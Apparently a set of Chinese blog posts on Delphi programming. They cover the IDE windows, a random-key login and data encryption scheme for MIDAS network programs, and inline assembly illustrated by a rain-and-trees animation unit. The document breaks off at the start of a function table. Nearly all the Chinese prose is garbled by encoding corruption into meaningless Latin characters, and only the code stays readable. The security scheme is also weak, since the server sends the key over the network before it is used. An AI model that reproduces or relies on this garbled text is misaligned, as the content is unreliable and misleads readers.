    ÏëʹObject InspectorÒ»Ö±¿É¼û£¬¿É½«Êó±êÒÆµ½Object InspectorÉÏ£¬°´¶¯ÓÒ¼ü£¬ÒÔÆô¶¯Object InspectorµÄµ¯³öʽ²Ëµ¥£¬½«ÆäÉèÖÃΪStay On Top¡£Õâ¶Ô³õѧÕß³£ÊÇÒ»¸öºÜÖØÒªµÄÉèÖ÷½Ê½¡£¡¡

    1.2.2.3 ´°Ìå´°¿Ú¡¡

    Forms´°¿ÚÊÇ¿ªÕ¹´ó²¿·ÖÉè¼ÆµÄ¹¤×÷ÇøÓò¡£Ê×´ÎÆô¶¯Delphi 2.0ʱÏÔʾµÄÊÇ´°ÌåForm1¡£¿ÉÒ԰Ѳ¿¼þ·ÅÔÚ´°ÌåÖУ¬Í¨¹ýÒÆ¶¯Î»Öᢸıä³ß´çµÈ²Ù×÷ËæÐÄËùÓûµØ°²ÅÅËüÃÇ£¬ÒÔ´ËÀ´¿ª·¢Ó¦ÓóÌÐòµÄÓû§½çÃæ¡£Äú¿ÉÒÔ°Ñ´°ÌåÏëÏó³ÉÒ»¸ö¿ÉÒÔ·ÅÖÃÆäËü²¿¼þµÄÈÝÆ÷¡£´°ÌåÉÏÓÐÕ¤¸ñ(Grids)£¬¹©·ÅÖò¿¼þʱ¶ÔÆëλÖÃÓã¬ÔÚ³ÌÐòÔËÐÐʱGridsÊDz»¿É¼ûµÄ¡£

    Ò»¸öÕæÕýµÄÓ¦ÓóÌÐò¿ÉÄÜÓв»Ö¹Ò»¸ö´°¿Ú£¬Äú¿ÉÒÔÑ¡Óò»Í¬µÄ´°Ìå½øÐÐÉè¼Æ¡£ÆäËü´°Ìå¿ÉÒÔÊǶԻ°¿ò(Dialog Box)¡¢Êý¾Ý¼Èë¿òµÈ¡£¡¡

    1.2.2.4 ´úÂë´°¿Ú¡¡

    ´úÂë´°¿ÚÒ»¿ªÊ¼´¦ÓÚ´°Ìå´°¿Ú֮ϡ£ÒòΪÔÚDelphiÖУ¬Éè¼ÆÓû§½çÃæÖ±½ÓÔÚ´°ÌåÖнøÐУ¬ÔËÐнá¹ûºÍÉè¼ÆÑù°åÍêȫһÖ¡£µ±²¿¼þ±»·Åµ½´°ÌåÉÏʱ£¬Delphi»á×Ô¶¯Éú³É´ó²¿·ÖµÄÓû§½çÃæ´úÂë¡£ÄúËùÓ¦×öµÄÖ»ÊÇÔÚËüΪÄúÉú³ÉµÄ¿ò¼ÜÖмÓÈëÍê³ÉËùÐ蹦ÄܵijÌÐò¶Î¶øÒÑ¡£µã¶¯Form1µÄ״̬ÐÐʹ´úÂë´°¿Ú¿É¼û¡£

    Õâ¸ö´°¿ÚÖÐÊÇ´úÂë±à¼­Æ÷¡£¿ÉÒÔÔÚÆäÖÐÊéдDelphiÓ¦ÓóÌÐòµÄÔ´´úÂë¡£µ±³ÌÐòÖк¬Óв»Ö¹Ò»¸ö´°¿Úʱ£¬»áÓм¸¸ö¿âµ¥ÔªµÄÔ´³ÌÐò³öÏÖÔÚ´úÂë±à¼­Æ÷ÖС£´úÂë±à¼­Æ÷µÄ±êÌâÌõÖÐÏÔʾÁ˵±Ç°ÕýÔڱ༭µÄ¿âµ¥ÔªÎļþÃû¡£Òª²é¿´Ä³Ò»Ìض¨³ÌÐòµÄÔ´´úÂ룬ֻÐèÓÃÊó±êµã¶¯Ð´ÓиÿⵥԪÎļþÃûµÄÒ³±êÇ©£¬¾Í¿ÉÒԶԸÿⵥԪ½øÐб༭ÁË¡£

    ¡¡

  • Delphi±àÐ´ÍøÂç³ÌÐòµÄ°²È«´ëÊ©

    2007-05-28 16:13:14

    ---- DelphiµÄMIDAS¿Ø¼þΪ±àÐ´ÍøÂç³ÌÐòÌṩÁËÊ®·Ö·½±ãµÄÊֶΡ£ÀûÓÃÕâЩ¿Ø¼þ£¬¿ÉÒÔ±àд¾ÖÓòÍøÉϵĿͻ§»ú£¯·þÎñÆ÷Ìåϵ³ÌÐò£¬Ò²ÄÜ·½±ãµØÔÚInternetÉÏ´´½¨·ÖÉ¢´¦ÀíµÄÓ¦Óá£

    ---- ÍøÂç³ÌÐòµÄÒ»¸öÖØÒªÎÊÌâÊǰ²È«ÐÔ¿¼ÂÇ¡£Ò»Ð©Ãô¸ÐÊý¾ÝÔÚÍøÉÏ´«ËÍ£¬ºÜÓпÉÄܱ»ÈË·Ç·¨À¹½ØÒÔÔì³É²»±ØÒªµÄËðʧ¡£ÔÚʵ¼ÊµÄ±à³Ì¹ý³ÌÖУ¬ÎÒ²ÉÈ¡ÁËһЩÓÐЧµÄ·À·¶´ëÊ©£¬ÔÚ´Ë×÷Щ¼òµ¥µÄ½éÉÜ¡£

    ---- Ò»¡¢ Ô­Àí
    ---- Ŀǰ½øÐÐÊý¾Ý¼ÓÃܵķ½·¨ºÜ¶à£¬¶ÔÊý¾ÝµÄ±£»¤Æðµ½Ò»¶¨µÄ×÷Óᣵ«Èç¹û²ÉÓù̶¨µÄÃÜÔ¿»òÊÇÃÜÔ¿ËæÊý¾ÝÒ»Æð´«ËÍ£¬Ôò¾ù²»ÄÜ´ïµ½ÁîÈËÂúÒâµÄ±£ÃÜЧ¹û¡£ÔÚʵ¼ù¹ý³ÌÖУ¬ÎÒÃþË÷³öÁËÒ»Ìס°ÇëÇó£­Ó¦´ð¡±Ä£Ê½µÄËæ»úÃÜÔ¿·½·¨£¬¶ÔÃÜÂëºÍÊý¾ÝµÄ±£ÃÜЧ¹û¶¼ÁîÈËÊ®·ÖÂúÒâ¡£

    ---- µ±¿Í»§¶Ë³ÌÐòÆô¶¯²¢ÆóͼÓë·þÎñÆ÷³ÌÐò½¨Á¢Á¬½Óʱ£¬¿Í»§³ÌÐò´Ó·þÎñÆ÷¶ËÈ¡µÃÒ»¸öÓÉ·þÎñÆ÷³ÌÐò²úÉúµÄËæ»ú×Ö´®£¬ÏµÍ³½«ÒÔ´Ë×Ö´®ÎªÃÜÔ¿À´´«ËÍÓû§µÇ¼ÃÜÂëºÍÊý¾Ý¡£ÓÉÓÚÃÜÔ¿ÓÉ·þÎñÆ÷³ÌÐòËæ»ú²úÉú£¬¿Í»§Ã¿´ÎµÇ¼ʱÃÜÔ¿¾ù²»Ïàͬ£¬Òò´Ë´ó´ó¼õÉÙÁËÃÜÂë±»À¹½Øµ¼ÖÂÊý¾Ý±»ÇԵĿÉÄÜÐÔ¡£

    ---- ·þÎñÆ÷¶Ë¿ÉÒÔÔÚÔ¶³ÌÊý¾ÝÄ£¿éÖÐÒý³öÒ»¸ö×Ô¶¨Òå½Ó¿Ú£¬¸Ã½Ó¿Ú·µ»ØÒ»¸öËæ»ú×Ö´®¡£Ô¶³ÌÊý¾ÝÄ£¿éÒª¼Ç¼¸Ã×Ö´®×÷ΪºóÐø´¦ÀíµÄÃÜÔ¿¡£Ëæ»ú×Ö´®µÄ²úÉú·¨¿ÉÒÔ¶àÖÖ¶àÑù£¬×î¼òµ¥µÄ·½·¨ÊÇÓÃRandom()º¯Êý²úÉúÒ»¸öËæ»úÊýºóÔÙÓÉ´ËÊýÓÃFormat()º¯Êý»òIntToStr()²úÉúÒ»¸ö×Ö·û´®¡£

    ---- ¶þ¡¢ Óû§µÇ¼´ëÊ©
    ---- ΪÁË·ÀÖ¹³ÌÐò±»·Ç·¨µ÷ÊÔ´Ó¶øÐ¹Â¶ÃÜÂ룬±ØÐ뽫¿Í»§µÄµÇ¼ÐÅÏ¢ÔÚ·þÎñÆ÷¶Ë´¦Àí£¬Ò²¿ÉÒÔרÃÅÔö¼ÓÒ»¸ö°²È«²ã¸ºÔð¿Í»§µÄµÇ¼¡£¿Í»§µÄµÇ¼ÐÅÏ¢´¢´æÔÚ¿Í»§×ÊÁϱíÖУ¬°üÀ¨Óû§Ãû¡¢ÃÜÂ롢ȨÏÞµÈÐÅÏ¢¡£

    ---- ¿Í»§³ÌÐòµÇ¼ʱ£¬Ïȵ÷Ó÷þÎñÆ÷³ÌÐòµÄ½Ó¿Ú»ñµÃÃÜÔ¿×Ö´®£¬²¢ÓôËÃÜÔ¿¶ÔÓû§ÊäÈëµÄÓû§ÃûºÍÃÜÂë½øÐмÓÃܲ¢Ïò·þÎñÆ÷·¢Ë͵ǼÐÅÏ¢¡£¼ÓÃÜËã·¨¿ÉÒÔÊÇDESËã·¨»òÆäËüÓÐЧËã·¨¡£·þÎñÆ÷½Óµ½µÇ¼ÐÅÏ¢ºó£¬ÏÈÓÃÏÈǰ²úÉú²¢¼Ç¼µÄËæ»úÃÜÔ¿¶ÔµÇ¼ÐÅÏ¢½øÐнâÃÜ£¬ÔÙ½«½âÃܺóµÄÐÅÏ¢Óë´æ´¢µÄ¿Í»§×ÊÁϱíÖеÄÐÅÏ¢½øÐжÔÕÕ£¬´Ó¶øÅжϿͻ§ÐÅÏ¢ÊÇ·ñºÏ·¨ÒÔ¼°¸Ã¿Í»§ÏíÓеÄÊý¾ÝȨÏ޵ȡ£

    ---- ¸Ã¹ý³ÌµÄ¿Í»§¶Ë³ÌÐòÈçÏ£º
    strKey:=myRemoteSever.GetKey();   
        {µ÷Ó÷þÎñÆ÷µÄ½Ó¿Ú»ñµÃËæ»úÃÜÔ¿}
    UserName:=Ency(strUserName,strKey); 
      {¶ÔÓû§Ãû¼ÓÃÜ£¬Ency()Ϊ¼ÓÃÜËã·¨}
    Password:=Ency(strPassword,strKey);  
      {¶ÔµÇ¼ÃÜÂë½øÐмÓÃÜ}
    If myRemoteServer.LogIn(UserName,Password) then  {µÇ¼}
      Begin
    {½øÐд¦Àí}
      End;
    ·þÎñÆ÷¶ËµÄµÇ¼¹ý³ÌLogIn()ÈçÏ£º
    strUserName:=DeEncy(UserName,strKey);
    {¶ÔÓû§Ãû½âÃÜ£¬DeEncy()Ϊ½âÃÜËã·¨}
    strPassword:=DeEncy(Password,strKey); 
      {¶ÔµÇ¼ÃÜÂë½âÃÜ}
    {²éѯÊý¾Ý¿â}
    if (Pass) then
      Result:=true
    Else
      Result:=false;


    ---- ҪעÒâµÄÊÇ£¬ÔÚ·þÎñÆ÷³ÌÐòºÍ¿Í»§³ÌÐòÖУ¬StrKey¾ùÓ¦¶¨ÒåΪȫ³Ì±äÁ¿¡£

    ---- ΪÁË·ÀÖ¹¿Í»§×ÊÁÏ±í±»³ÌÐòÍâ´ò¿ª´Ó¶øÐ¹Â¶ÃÜÂ룬¿ÉÒÔ¶Ô¿Í»§×ÊÁϽøÐÐÒ»¶¨µÄ¼ÓÃÜ´ëÊ©£¬ÀýÈçPARADOX±í¿ÉÒÔÌí¼ÓPassword£¬·þÎñÆ÷³ÌÐòÔÚ·ÃÎʿͻ§×ÊÁϱíʱÏÈÌṩ¸ÃPassword¡£

    Èý¡¢ Êý¾Ý´«ËÍ
    ---- ÔÚÍøÂç³ÌÐòÖУ¬Ò»Ð©Ãô¸ÐÊý¾ÝÔÚÍøÉÏ´«ËÍʱ±ØÐë¼ÓÃÜ¡£DelphiµÄMIDAS»úÖÆÌṩÁËÊý¾Ý¼ÓÃܵÄ;¾¶£¬¿ÉÒÔÔÚÊý¾Ý´«Íù¿Í»§¶Ë֮ǰ¶ÔһЩ×ֶνøÐмÓÃÜ£¬Ò²¿ÉÒÔÔÚ½ÓÊÕµ½¿Í»§¶ËµÄ¸üÐÂÊý¾ÝÇëÇóºó¶ÔÀ´×Ô¿Í»§¶ËµÄÊý¾ÝµÄÏàÓ¦×ֶνøÐнâÃܺó²ÅÏòÊý¾Ý¿â½øÐиüС£ÎªÁ˴ﵽЩĿµÄ£¬¿ÉÒÔÔÚ·þÎñÆ÷³ÌÐòµÄÔ¶³ÌÊý¾ÝÄ£¿éÖмÓÈëÒ»¸öTprovider»òÊÇTdataSetProvider¶ÔÏ󣬲¢½«´Ë¶ÔÏóµÄDataSetÊôÐÔÖÃΪҪ´¦ÀíµÄÊý¾Ý¼¯¡£ÔÚTproviderµÄOnGetDataʼþÖмÓÈëÈçÏ´úÂ룺
    with DataSet do
      begin
        while not EOF do
        begin
          Edit;
          SensitiveData.AsString := Ency(SensitiveData.AsString,strKey);
        {¶ÔÃô¸ÐÊý¾Ý¼ÓÃÜ}
          Post;
          Next;
        end;
      end;


    ---- ÒÔÉÏ´úÂë¿ÉÒÔ½«Ãô¸ÐÊý¾Ý¼ÓÃܺóÔÙËÍÍù¿Í»§³ÌÐò¡£

    ---- ͬÑù£¬ÔÚTproviderµÄOnUpdateDataʼþÖмÓÈëһЩ´¦Àí´úÂë±ã¿É¶Ô¿Í»§¶ËËÍÀ´µÄÊý¾Ý½øÐнâÃÜ¡£

    ---- ÒÔÉÏÖ»ÊǽéÉÜÁËÍøÂç³ÌÐò°²È«´ëʩʵÏÖµÄÒ»°ãÔ­Àí£¬ÔÚ´Ë»ù´¡ÉÏ£¬¿ÉÒÔÔö¼ÓÆäËü±£ÃÜ´ëÊ©£¬ÒÔ´ïµ½¸üºÃµÄ±£ÃÜЧ¹û¡£ÀýÈ磬¿Í»§³ÌÐò¿ÉÒÔÓÃÌØ¶¨µÄ¸¨ÖúÓ²¼þÉ豸À´Ôö¼Ó°²È«ÐÔ¡£ÔÚÖÇÄÜ¿¨Ó¦ÓóÌÐòÖУ¬¿Í»§³ÌÐòÔڵǼʱ²»½öÒªÇóÓû§ÊäÈëÓû§ÃûºÍÃÜÂ룬³ÌÐòͬʱ¼ì²éIC¶ÁдÆ÷ÖÐIC¿¨µÄÀàÐͼ°Ìض¨µÄÄÚÈÝ£¬ÕâÑù£¬¼ÈʹÃÜÂëй¶Á˲»»á±»ÈËðÃûµÇ¼¡£µ±È»£¬Èκΰ²È«´ëÊ©¶¼²»ÊǾø¶Ô°²È«µÄ£¬°²È«´ëÊ©»¹ÒªÓÐÑϸñµÄ±£ÃÜÖÆ¶È¼°Ê¹ÓÃÈËÔ±µÄ¸ß¶ÈµÄ±£ÃÜÒâʶ²ÅÄÜÕæÕýÆðµ½±£ÃÜ×÷Óá£

  • DelphiÖÐʹÓûã±àÀý×Ó

    2007-05-28 16:12:07

    DelphiÖÐʹÓûã±à½øÐлìºÏ±à³Ì£¬ÊÇÒìºõѰ³£µÄ·½±ã¡£Èç´Ë£¬µ±ÄãÏ£ÍûµÃµ½Ð§ÂʵÄʱºò£¬Äã¿ÉÑ¡Ôñ»ã±à£¬È»¶ø´ó²¿·Ö¹¤×÷£¬ÄãÈÔÊÇÏíÊÜ×Å¿ÉÊÓ»¯¡¢ÃæÏò¶ÔÏó±à³ÌµÄ·½±ã¡£delphiµÄÓïÑÔ£¬Í¨¹ýʹÓÃasm...end³ÌÐò¶Îд»ã±à´úÂ벿·Ö£¬ÔÚ»ã±à´úÂë¶ÎÖпÉÒÔµ÷Óø߼¶ÓïÑԵıäÁ¿£»ÄãÐèҪעÒâµÄÊÇ£¬±£»¤Ä³Ð©¼Ä´æÆ÷±äÁ¿£¬È»ºóÄØ£¬Ä³Ð©Ï¸½ÚºÍdosϵĻã±à²»Í¬¡£´ó¼Ò¿´Õâ¸öÀý×Ó¡£
    ÏÈ´óÌå˵˵һЩС֪ʶ£º
    Ò»£¬Delphiµ÷Óûã±à£¬ÓÐÁ½ÖÖ·½Ê½¡£
    Ò»Èç---
    procedure TForm1.DrawRain;
    var
    x1,y1,x2,y2,d,i:integer;
    begin//delphi³ÌÐò¿ªÊ¼
    for i:=0 to 100 do
    begin
    x1:=random(537);
    y1:=random(280);
    d:=random(7);
    asm//ÄÚǶ»ã±à¿ªÊ¼
    push eax
    mov eax,x1
    sub eax,d
    mov x2,eax
    mov eax,y1
    add eax,d
    mov y2,eax
    pop eax
    end;;//ÄÚǶ»ã±à½áÊø
    times:=times+1;
    drawLine2(x1,y1,x2,y2,clmedGray);
    wait();
    if (i div 2)=0 then drawLine2(x1,y1,x2,y2,clwindow);
    end;
    end;//delphi³ÌÐò½áÊø


    »¹ÓÐÒ»ÖÖ£¬°ÑÍâ²ãµÄbegin...endÈ¥µô£¬Í¨¹ýasm...endÖ±½Ó½øÈë»ã±à¡£

    procedure TForm1.Wait();
    asm//ÄÚǶ»ã±à¿ªÊ¼
    push eax
    mov eax,0
    @loop:
    add eax,1
    cmp eax,1000000
    jnz @loop
    pop eax
    end;//ÄÚǶ»ã±à½áÊø

    ¶þ£¬ÔÚ»ã±àÖÐʹÓÃdelphiµÄ±äÁ¿

    ´ó¼Ò¿´µÚÒ»¶Î´úÂëµÄÀý×Ó£¬ºÜÈÝÒ×Ã÷°×£º
    asm//ÄÚǶ»ã±à¿ªÊ¼
    push eax
    mov eax,x1 //x1ÊÇdelphi¾Ö²¿±äÁ¿£¬´Ë´¦ÓÃ×÷Öµ
    sub eax,d
    mov x2,eax //x2ÊÇdelphi¾Ö²¿±äÁ¿£¬ÓÖÓÃ×÷ÄÚ´æµØÖ·
    mov eax,y1
    add eax,d
    mov y2,eax
    pop eax
    end;;//ÄÚǶ»ã±à½áÊø

    Èý£¬»ã±àµÄ²»Í¬Ï¸½Ú

    Àý×Ó²»ÌûÁË£¬´ó¼Ò×Ô¼º±È½ÏÁË£¬Èç
    @loop:
    //...
    jnz @loop
    ÁíÍ⣬´ó²¿·ÖintÖжϿÉÄܲ»ÄÜÓã¬ÎÒûÓÐÊÔͨ£¬Ò²Ã»¼ûʲô×ÊÁÏÉϽéÉܹý¡£Ë­ÖªµÀ£¬¸øÎÒ·¢¸öÏûÏ¢ºÃÂð£¿Ð»Ð»ÁËÏÈ¡£

    ÏÂÃæÊÇÒ»¸ö±È½Ï´óµÄÀý×Ó£¬ÊÇÒ»¸ö¶¯»­Ð§¹û¡£ÒòΪÒÔǰ¸Õ¿ªÊ¼Ñ§Õâ·½ÃæµÄ֪ʶ£¬×öµÄºÜ´Ö²Ú¡£ÊÇÒ»¸öСÊ÷ÁÖÀ²»Í£µÄÏÂ×ÅÓêµÄ³¡¾°---ºÜ¶àÎÊÌ⣬±íÏÖÍ»³öµÄÊÇ£¬Ê×Ïȸ¡µãÖ¸ÁîûÓлáÓã¨ÎÒÔÚºóÃæ»á¸½ÉÏÓдý¼ÌÐø³¢ÊԵĸ¡µãÊýÖ¸ÁîµÄ²âÊÔÀý×Ó£©£¬Ò»Ð©Ëã·¨µ±Ê±»¹²»»á£¬½á¹û»­Ãæ±È½Ïµ¥µ÷£¬Æä´Î£¬¶Ô¾°Îï¼äµÄЭµ÷²»¹»ºÃ£¬±ÈÈçÊ÷ûÓÐÓÐЧ±£»¤£¬ºóÀ´¾Í±»Óê¡°»¨¡±ÁË£º£©¡£
    ¿É»¹ÊÇ×öÀý×ÓÁË£¬´ó¼Ò±ðЦÎÒ£¬Ò»À´Ã»Ê±¼äдÕâ·½ÃæµÄÀý×ÓÁË£¬¶þÀ´£¬Ñ§DelphiÖеĻã±àʹÓã¬Ëü»¹ÊÇ¿ÉÒÔ˵Ã÷ijЩÎÊÌâµÄ¡£¶øÇÒ£¬Ò»°ãµÄ×ÊÁÏÉÏ£¬ÊǻرÜÕâ¸öÓ¦Óõ쬏ö±ðµÄ¸ß¼¶±à³ÌÖУ¬Å¼¶ûÌá¼°£¬¿É´ó¼ÒÒªÏëÕÆÎÕ£¬´ó¶¼µÃÒª×Ô¼º¶àʵ¼ù£¬Õâ¸öÀý×Ó¿ÉÒÔ¸ö¸øÄãÐí¶à½Ìѵ£º£©¡£

    unit Unit1;

    interface

    uses
    Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    Dialogs, ExtCtrls, Menus, ExtDlgs, FileCtrl, StdCtrls, ComCtrls, ImgList;

    type
    TForm1 = class(TForm)
    MainMenu1: TMainMenu;
    File1: TMenuItem;
    Exit1: TMenuItem;
    N1: TMenuItem;
    Help1: TMenuItem;
    About1: TMenuItem;
    g1: TMenuItem;
    Spring1: TMenuItem;
    Summer1: TMenuItem;
    Autumn1: TMenuItem;
    Winter1: TMenuItem;
    StatusBar1: TStatusBar;
    ext1: TMenuItem;
    Timer1: TTimer;
    procedure Exit1Click(Sender: TObject);
    procedure About1Click(Sender: TObject);
    procedure Spring1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Summer1Click(Sender: TObject);
    procedure Autumn1Click(Sender: TObject);
    procedure Winter1Click(Sender: TObject);
    procedure ext1Click(Sender: TObject);
    private
    procedure DrawLine1(x1,y1,x2,y2:integer;icolor:TColor);// x2>x1 and y2>y1
    procedure DrawLine2(x1,y1,x2,y2:integer;icolor:TColor);// x2<x1 and y2>y1
    procedure DrawLine3(x1,y1,x2,y2:integer;iColor:TColor);// x1=x2 or y1=y2
    procedure DrawRain;
    procedure DrawTree(x,y,height:integer);
    procedure Timer1Timer(sender:TObject);
    procedure drawClear;
    procedure Wait();
    { Private declarations }
    public
    { Public declarations }
    end;

    var
    Form1: TForm1;
    times:single;
    implementation
    uses Unit3,Unit5;
    {$R *.dfm}

    procedure TForm1.Wait();
    asm
    push eax
    mov eax,0
    @loop:
    add eax,1
    cmp eax,1000000
    jnz @loop
    pop eax
    end;

    procedure TForm1.DrawLine1(x1,y1,x2,y2:integer;iColor:TColor);
    const i:integer=1;
    var j,k1,k2,d:integer;
    begin
    if((x2-x1)<=0)or((y2-y1)<=0) then exit;
    for j:=0 to (x2-x1) do
    begin
    form1.Canvas.Pen.Color:=icolor;
    form1.Canvas.Ellipse(x1,y1,x1+2,y1+2);
    form1.Canvas.Ellipse(x1-1,y1-1,x1+1,y1+1);
    if ((x2-x1)=0)or((y2-y1)=0) then exit;
    asm
    push eax
    push ebx
    push ecx
    push edx
    mov ecx,0
    mov eax,x2
    sub eax,x1
    mov ebx,y2
    sub ebx,y1
    mov d,ebx
    mov edx,0
    div d
    mov k2,eax

    mov eax,y2
    sub eax,y1
    mov ebx,x2
    sub ebx,x1
    mov d,ebx
    mov edx,0
    div d
    mov k1,eax

    mov eax,x1
    @loop2:
    add eax,i
    inc ecx
    cmp ecx,k2
    jb @loop2
    mov x1,eax

    mov eax,y1
    @loop1:
    add eax,i
    inc ecx
    cmp ecx,k1
    jb @loop1
    mov y1,eax

    pop edx
    pop ecx
    pop ebx
    pop eax
    end;
    end;// end for
    end;
    procedure TForm1.DrawLine2(x1,y1,x2,y2:integer;icolor:TColor);
    const i:integer=1;
    var j,k1,k2,d:integer;
    begin
    if((x1-x2)<=0)or((y2-y1)<=0) then exit;
    for j:=0 to (x1-x2) do
    begin
    form1.Canvas.Pen.Color:=icolor;
    form1.Canvas.Ellipse(x1,y1,x1+2,y1+2);
    form1.Canvas.Ellipse(x1-1,y1-1,x1+1,y1+1);
    if ((x1-x2)=0)or((y2-y1)=0) then exit;
    asm
    push eax
    push ebx
    push ecx
    push edx

    mov ecx,0

    mov eax,x1
    sub eax,x2
    mov ebx,y2
    sub ebx,y1
    mov d,ebx
    mov edx,0
    div d
    mov k2,eax

    mov eax,y2
    sub eax,y1
    mov ebx,x1
    sub ebx,x2
    mov d,ebx
    mov edx,0
    div d
    mov k1,eax

    mov eax,x1
    @loop2:
    sub eax,i
    inc ecx
    cmp ecx,k2
    jb @loop2
    mov x1,eax

    mov eax,y1
    @loop1:
    add eax,i
    inc ecx
    cmp ecx,k1
    jb @loop1
    mov y1,eax

    pop edx
    pop ecx
    pop ebx
    pop eax
    end;
    end;// end for
    end;
    procedure TForm1.DrawLine3(x1,y1,x2,y2:integer;icolor:TColor);
    var j:integer;
    begin
    if((x2-x1)<>0)and((y2-y1)<>0) then exit;
    if (x2-x1)=0 then
    for j:=0 to (y2-y1) do
    begin
    form1.Canvas.Pen.Color:=icolor;
    form1.Canvas.Ellipse(x1-1,y1-1,x1+1,y1+1);
    if (y2-y1)=0 then exit;
    asm
    push eax
    mov eax,y1
    inc eax
    mov y1,eax
    pop eax
    end;
    end// end for
    else for j:=0 to (x2-x1) do
    begin
    form1.Canvas.Pen.Color:=icolor;
    form1.Canvas.Ellipse(x1-1,y1-1,x1+1,y1+1);
    if (x2-x1)=0 then exit;
    asm
    push eax
    mov eax,x1
    inc eax
    mov x1,eax
    pop eax
    end;
    end;// end for
    end;
    procedure TForm1.Timer1Timer(sender:TObject);
    begin

    end;
    procedure TForm1.DrawRain;
    var
    x1,y1,x2,y2,d,i:integer;
    begin
    for i:=0 to 100 do
    begin
    x1:=random(537);
    y1:=random(280);
    d:=random(7);
    asm
    push eax
    mov eax,x1
    sub eax,d
    mov x2,eax
    mov eax,y1
    add eax,d
    mov y2,eax
    pop eax
    end;
    times:=times+1;
    drawLine2(x1,y1,x2,y2,clmedGray);
    wait();
    if (i div 2)=0 then drawLine2(x1,y1,x2,y2,clwindow);
    end;
    end;

    procedure TForm1.DrawTree(x,y,height:integer);
    var
    x1,y1,x2,y2,x3,y3,x4,y4,x5,y5,d1:integer;
    begin
    asm
    push eax
    push ebx
    push ecx
    push edx
    mov eax,height
    mov edx,0
    mov ecx,2
    div ecx
    mov d1,eax
    mov eax,x
    mov ebx,y

    sub eax,height
    mov x1,eax
    sub ebx,height
    mov y1,ebx
    add eax,height
    sub eax,5
    sub ebx,height
    mov x2,eax
    mov y2,ebx
    mov eax,x
    add eax,3
    sub ebx,height
    mov x3,eax
    mov y3,ebx
    add eax,8
    add ebx,height
    mov x4,eax
    mov y4,ebx
    add eax,height
    sub eax,5
    add ebx,height
    mov x5,eax
    mov y5,ebx

    pop edx
    pop ecx
    pop ebx
    pop eax
    end;
    DrawLine2(x3,y3,x2-d1,y2,clcream);
    DrawLine1(x3,y3,x4+d1,y4,clcream);
    drawline3(x2-d1,y2,x2,y2,clcream);
    drawline3(x4,y4,x4+d1,y4,clcream);
    DrawLine2(x2,y2,x1,y1,clcream);
    DrawLine1(x4,y4,x5,y5,clcream);
    DrawLine2(x2+2,y2,x1,y1+2,clcream);
    DrawLine1(x4-2,y4,x5,y5+2,clcream);
    drawline3(x1,y1,x5,y5,clcream);
    drawline3(x1,y1-1,x5,y5-1,clcream);
    drawline3(x,y5,x,y,clcream);
    drawline3(x,y,x+5,y,clcream);
    drawline3(x+5,y5,x+5,y,clcream);
    form1.Canvas.Brush.Color:=clgreen;
    form1.Canvas.FloodFill(x,y1-5,clcream,fsBorder);
    form1.Canvas.FloodFill(x+2,y-5,clcream,fsBorder);

    end;
    procedure TForm1.Exit1Click(Sender: TObject);
    begin
    close;
    end;

    procedure TForm1.About1Click(Sender: TObject);
    begin
    form3.Show;
    end;

    procedure TForm1.Spring1Click(Sender: TObject);
    var i,k,j:integer;
    begin
    StatusBar1.Panels[1].text:='·çÓêÖ®´º...';
    form1.Canvas.Brush.Color:=clwindow;
    form1.Canvas.FloodFill(1,1,clred,fsBorder);
    for i:=0 to 10do
    begin
    k:=random(10);
    j:=random(10);
    j:=-j;
    drawTree(10+k*50,300+j*20,20);
    end;
    for i:=0 to 10 do
    begin
    form1.Canvas.Brush.Color:=clwindow;
    form1.Canvas.FloodFill(1,1,clgreen,fsBorder);
    drawRain;
    sleep(100);
    end;

    end;

    procedure TForm1.FormCreate(Sender: TObject);
    begin
    times:=0;
    form1.canvas.Brush.Color:=clwindow;
    form1.caption:=form1.caption+' Please select the Pictype!... ';
    end;
    procedure TForm1.drawClear;
    var i,k:integer;
    begin
    form1.Canvas.Brush.Color:=clblack;
    form1.Canvas.FloodFill(15,15, clcream, fsBorder);
    for i:=0 to 5 do
    begin
    k:=random(300);
    DrawLine3(20+k,1,20+k,307,clyellow);
    DrawLine3(200+k,1,200+k,307,clyellow);
    end;
    end;
    procedure TForm1.Summer1Click(Sender: TObject);
    begin
    drawClear;
    form1.Canvas.Font.Color:=clblue;
    form1.Canvas.Font.Size:=18;
    form1.canvas.textOut(150,150,'ÂÌÉ«º£Ñó...ÐÝÕûʱ¼ä^_^£¡');
    //DrawTree;

    end;

    procedure TForm1.Autumn1Click(Sender: TObject);
    begin
    drawClear;
    form1.Canvas.Font.Color:=clblue;
    form1.Canvas.Font.Size:=18;
    form1.canvas.textOut(150,150,'ºìÒ¶Ïãɽ...ÕýÔÚÐÝÕû^_^£¡');
    end;

    procedure TForm1.Winter1Click(Sender: TObject);
    //var i,x,y:integer;
    begin
    drawClear;
    form1.Canvas.Font.Color:=clblue;
    form1.Canvas.Font.Size:=18;
    form1.canvas.textOut(150,150,'ÒøÉßÀ°Ïó...Ôݲ»¿ª·Å^_^£¡');
    end;

    procedure TForm1.ext1Click(Sender: TObject);
    begin
    form5.Show;
    end;

    end.

    ÏÂÃæÊǸ½´øµÄʹÓø¡µãÊýÖ¸ÁîµÄ²âÊÔ³ÌÐò£¬µ±Ê±µÄÔ­±¾£¬Î´´ïµ½Ð§¹ûµÄ£º£©£º
    //Ö¸ÁîͼÊé¹Ý²éµÄ£º£©
    procedure Tform1.xx;
    var
    xmax,ymax,x,y,a,b:single;
    i,z:integer;
    begin
    a:=2.0;b:=10.0;
    xmax:=image1.Width;
    ymax:=image1.Height;
    for i:=0 to image1.Width do
    begin
    asm
    //.80x87

    finit
    fld xmax //push xmax in st(0)
    fdiv a
    fchs //let st(0)=-st(0)
    fadd i //st(0)=st(0)+i
    fdiv b //st(0)=st(0)/b
    fstp x //put st(0) in x without pop
    fld x
    fmul x
    fchs
    fadd ymax
    //frndint
    //fabs
    fstp y
    end;
    x:=(i-xmax/2)/10;
    y:=-x*x+ymax;
    z:=trunc(z);
    image1.canvas.Ellipse(i-1,trunc(y)-1,i+1,trunc(y)+1);
    //image1.Canvas.Pixels[x,y];
    end;
    end;

  • DELPHI-function´óÈ«

    2007-05-28 16:11:17

    Ãû³Æ                        ÀàÐÍ         ˵Ã÷
    ----------------------------------------------------------------------------------
    Abort                       º¯Êý         ÒýÆð·ÅÆúµÄÒâÍâ´¦Àí
    Abs                         º¯Êý         ¾ø¶ÔÖµº¯Êý
